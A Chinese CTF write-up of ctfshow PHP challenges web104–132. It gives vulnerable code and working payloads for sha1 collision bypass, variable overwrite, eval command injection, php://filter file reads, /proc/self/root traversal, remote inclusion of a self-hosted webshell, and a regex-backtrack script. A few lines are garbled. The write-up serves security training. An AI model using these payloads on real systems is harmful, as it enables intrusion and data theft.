php特性<2>--ctfshow

文章目录

    • 1.sha1的绕过
      • web104,106
    • 2.php变量覆盖
      • web105
    • 3.parse_str的绕过
      • web107
    • 4.ereg %00正则截断
      • web108
    • 5.php异常类
      • web109
    • 6.FilesystemIterator类的使用
      • web110
    • 7.GLOBALS超全局变量
      • web111
    • 8.php伪协议
      • WEB112
    • 9./proc/self/root绕过
      • web113
    • 10. php伪协议--filter
      • web114
    • 11.trim函数的绕过+is_numeric的绕过
      • web115
    • 12.gettext拓展的使用
      • web128
    • 13.stripos()函数
    • web129
    • 14.正则最大回溯次数绕过
      • web130,131
    • 15.&&与||的优先级
      • web132

1.sha1的绕过

web104,106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
     
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
     
        echo $flag;
    }
} 

利用了sha1弱类型比较,跟MD5加密是一样的

利用数组绕过或者弱类型绕过

payload

GET:v2[]=1
POST:v1[]=2
还有一些字符串
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

如果是强类型转换

if(sha1($v1)===sha1($v2) && $v1!=$v2){
     
        echo $flag;
    }
使用数组绕过,v1[]=1&v2[]=2

但是还有一种,直接把数组过滤了

if(is_array($_GET['name']) || is_array($_GET['password']))
        die('There is no way you can sneak me, young man!');
 else if (sha1($_GET['name']) === sha1($_GET['password']))
      	echo $flag;

我们不能用数组了

还有一种payload

name=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 

2.php变量覆盖

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
     
    if($key==='error'){
     
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
     
    if($value==='flag'){
     
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
     
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

首先审计代码,先读懂 k e y = key= key=value


$a='hello';
$$a='world';
echo $a.${
     $a};
?>
输出helloworld
$$a,就等于变量$hello

如果GET输入a=b, k e y = key= key=value就是将 a = a= a=b

通过die($error)出flag

GET中不能出现error,POST不能出现flag

payload

GET:a=flag
POST:error=a

通过die($suces)出flag

payload

GET:suces=flag&flag=NULL
POST:不输入东西,所以为NULL

3.parse_str的绕过

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
     
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
     
           echo $flag;
       }
} 

考点parse_str

官方文档:
parse_str — 将字符串解析成多个变量
parse_str(string $string, array &$result): void
如果 stringURL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
参数
string:输入的字符串。
result:如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
没有返回值。

代码显示:
<?php
$a='p=123&q=456';
parse_str($a,$b);
echo $b['p'];
echo $b['q'];
?>
输出123456

payload

GET:v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b

4.ereg %00正则截断

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
     
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
     
    echo $flag;
}
?>

考点:ereg %00正则截断

首先解析正则表达式

^[a-zA-Z]+$,表示匹配除了所有的字母的所有字符,并且匹配一次或者多次

ereg函数,在匹配到后,会返回false

正则表达式在遇到%00截断后,只会匹配%00前的东西

payload

strrev:使字符串反转
intval:将变量值整数化
36d的十进制为877
c=a%00778

5.php异常类

web109

if(isset($_GET['v1']) && isset($_GET['v2'])){
     
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
     
            eval("echo new $v1($v2());");
    }
}

羽师傅的wp:

先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
我们使用内置类让new不报错

payload

payload:
v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')

6.FilesystemIterator类的使用

web110

代码显示

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
     
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
     
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
     
            die("error v2");
    }

    eval("echo new $v1($v2());");

考点:FilesystemIterator class

在php中使用FilesystemIterator迭代器来遍历文件目录
<?php
$a=new FilesystemIterator('.');//定义一个对象
while($a->valid()){
     //判断文件指针是否到底了
    echo $a->getFilename().PHP_EOL;//得到文件名字
    $a->next();//指针移到下一位
}
?>
参考:https://www.php.net/manual/zh/class.filesystemiterator.php
就只需要调用对象的方法,就可以获得一些文件目录,文件创造的时间等
 

payload

根据代码,我们首先新建一个FilesystemIterator类来查看文件目录结构
()括号中需要传入文件路径,我们可以用../这些得到
 但是过滤了,所以使用getcwd方法来得到当前目录
?v1=FilesystemIterator&v2=getcwd得到文件路径
然后直接访问:
http://33ba02ae-bd26-41af-ae23-1d1162338f75.challenge.ctf.show:8080/fl36dga.txt

7.GLOBALS超全局变量

web111

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
     
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
     
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
     
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
     
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
     
            getFlag($v1,$v2); 

考点:GLOBALS超全局变量的值。

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。


$a=1;
$b=2;
var_dump($GLOBALS);
?>
输出
 'GLOBALS' =>
  &array
  'a' =>
  int(1)
  'b' =>
  int(2)

payload

?v1=ctfshow&v2=GLOBALS

8.php伪协议

WEB112

代码

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
     
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
     
        die("hacker!");
    }else{
     
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
     
    highlight_file(filter($file));
}else{
     
    echo "hacker!";
} 

is_file():可以用来判断是否是一个正常的文件
is_file($filename):bool

首先代码审计,我们的目的是不能识别出是一个文件,然后通过filter的正则匹配,并且可以读取到文件

看到过滤了,data,input,想到了php伪协议filter

payload

?file=php://filter/resource=flag.php,直接读取文件
也可以使用编码来读取文件payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

9./proc/self/root绕过

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
     
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
     
        die('hacker!');
    }else{
     
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
     
    highlight_file(filter($file));
}else{
     
    echo "hacker!";
}

非预期解:file=compress.zlib://flag.php

预期解:

这个题过滤了filter,所以换种方法

我们多次使用/proc/self/root来绕过

参考文章:https://www.anquanke.com/post/id/213235

payload:

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

10. php伪协议–filter

web114

payload

php://filter/resource=flag.php,这个就可以不用使用过滤器了。

11.trim函数的绕过+is_numeric的绕过

web115

代码


function filter($num){
     
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
     
    if($num=='36'){
     
        echo $flag;
    }else{
     
        echo "hacker!!";
    }
}else{
     
    echo "hacker!!!";
}

需要绕过is_numeric和trim和filter函数自定义

trim函数介绍
语法
trim(string,charlist)

参数	描述
string	        必需。规定要检查的字符串。
charlist	    可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

is_numeric函数介绍:
is_numeric — 检测变量是否为数字或数字字符串

说明
is_numeric(mixed $value): bool
检测指定的变量是否为数字或数字字符串。

参数
value
需要检测的变量。

返回值
如果 value 是数字或数字字符串, 返回 true;否则返回 false。

做个测试

验证is_numeric()

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}
输出:%09 %0A %0B %0C %0D %20 %2B + - .

验证trim函数

然后因为filter函数

payload

num=%0c36,%0c需要放在最前面

12.gettext拓展的使用

web128

代码


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
     
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
     
    echo "嗯哼?";
}
function check($str){
     
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

首先我们需要利用var_dump,但是check函数过滤了数字和字母

call_func_array()函数
将第一个参数作为回调函数,其余参数都作为函数来传进去

当开启了gettext()拓展后,我们使用gettext()

因此call_user_func('_','ctfshow') 返回的结果为ctfshow,接下来到第二层call_user_func,我们使用get_defined_vars函数

get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

因为还有个call_func_array,需要函数,我们没法使用globals数组

$GLOBALS引用全局作用域中可用的全部变量(一定是全局变量)
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
例子1:

$foo in global scope: Example content
$foo in current scope: local variable
如果全局变量的foo没有,函数中$GLOBALS输出不了

13.stripos()函数

web129

代码

 0){
        echo readfile($f);
    }
} 
stripos() 
查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

这道题就有多个姿势

目录遍历

./ctfshow/../../../../var/www/html/flag.php  #./表示当前目录,具体多少个../需要自己慢慢尝试
/ctfshow/../var/www/html/flag.php  # /表示表示根目录

远程文件包含

在自己的服务器上写一句话木马进行利用,url为你的服务器ip或者域名,xxxx.php为你写的一句话木马

CODE
复制成功?f=http://url/xxxx.php?ctfshow

php伪协议绕过

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
|ctfshow,表示多个过滤器,所以就可以绕过

14.正则最大回溯次数绕过

web130,131

代码

include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

首先看preg_match,匹配所有字符,包括换行符

方法1:利用最大回溯

very应该考的是正则的最大回溯

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 10,而是 false

利用python发包了

import requests
url = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/"
data = {
     
    'f': 'z3eyond'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

方法2:

因为数组可以绕过preg_match

payload

f[]=$ctfshow

15.&&与||的优先级

web132

先/robots.txt,再/admin

代码

include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
     
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
     
        
        if($code == 'admin'){
     
            echo $flag;
        }
        
    }
} 

mt_rand是生成随机数

看个例子


if(false && false || true){
        //也就是(flase || true)
    echo 667;
}
//输出结果:667

所以,我们只需要满足username=admin,就可以绕过第一个if

第二个if,满足code=admin

payload

?username=admin&code=admin&password=1

你可能感兴趣的:(CTF训练日记,php,开发语言,后端)